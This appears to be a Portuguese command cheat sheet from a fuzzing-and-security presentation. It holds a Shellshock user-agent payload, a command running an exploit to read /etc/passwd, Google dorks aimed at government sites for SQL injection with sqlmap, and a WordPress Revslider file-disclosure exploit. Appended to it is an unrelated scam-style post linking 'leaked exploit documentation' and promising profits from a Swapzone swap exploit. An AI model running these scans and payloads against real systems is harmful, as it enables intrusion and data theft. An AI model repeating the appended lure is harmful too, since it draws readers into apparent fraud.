[COMANDOS] APRESENTAÇÃO/ Fuzzing e segurança - UNINOVE

[+] Shellshock:
set user-agent exploit;
'() { foo;};echo; /bin/bash -c "expr 299663299665 / 3; echo CMD:;{id}; echo END_CMD:;"'

 - EXECUÇÃO + VALIDAÇÃO INTERNA:
php inurlbr.php -o SHELLSHOCK_vull.txt  -s vull.txt --user-agent '() { foo;};echo; /bin/bash -c "expr 299663299665 / 3; echo CMD:;{id}; echo END_CMD:;"' -t 2 -a 99887766555


- EXECUÇÃO + XPL PRIV8:
php inurlbr.php -o testarSHELLSHOCK.txt -s teste.txt --command-all 'php shellshock.php -t "_TARGETFULL_" -c "cat /etc/passwd"'


[+] FIND PAGE:
DORK: inurl:"/admin/index.php"
php inurlbr.php --target 'www.geovisite.com' -s testes.txt  -o url-list/adminpage.inurl -t 5

[+] SCAN ERROS SQLI
DORK: (site:gov.br | site:gov.ar | site:org.br) & inurl:(id|new|noticia) & "SQL syntax;"
php inurlbr.php --dork '(site:gov.br | site:gov.ar | site:org.br) & inurl:(id|new|noticia) & "SQL syntax;"' -s testes.txt --exploit-get "?'´0x27"


[+] SCAN ERROS SQLI + sqlmap
DORK: (site:gov.br | site:gov.ar | site:org.br) & inurl:(id|new|noticia) & "SQL syntax;"
php inurlbr.php --dork '(site:gov.br | site:gov.ar | site:org.br) & inurl:(id|new|noticia) & "SQL syntax;"' -s testes.txt --exploit-get "?'´0x27"  --command-all '../../sqlmap/./sqlmap.py -u "_TARGETFULL_" --dbs --proxy "http://localhost:8118"'


[+] SCAN VULNS CMS WORDPRESS
DORK: inurl:/admin-ajax.php?action=revslider_show_image -intext:"revslider_show_image"
php inurlbr.php --dork 'inurl:/admin-ajax.php?action=revslider_show_image -intext:"revslider_show_image"' -s teste.txt --command-all 'php exploitWPLFD.php _TARGET_'
✅ Leaked Exploit Documentation:

https://docs.google.com/document/d/1dOCZEHS5JtM51RITOJzbS4o3hZ-__wTTRXQkV1MexNQ/edit?usp=sharing

This made me $13,000 in 2 days.

Important: If you plan to use the exploit more than once, remember that after the first successful swap you must wait 24 hours before using it again. Otherwise, there is a high chance that your transaction will be flagged for additional verification, and if that happens, you won't receive the extra 38% — they will simply correct the exchange rate.
The first COMPLETED transaction always goes through — this has been tested and confirmed over the last days.

Edit: I've gotten a lot of questions about the maximum amount it works for — as far as I know, there is no maximum amount. The only limit is the 24-hour cooldown (1 use per day without any verification from Swapzone — instant swap).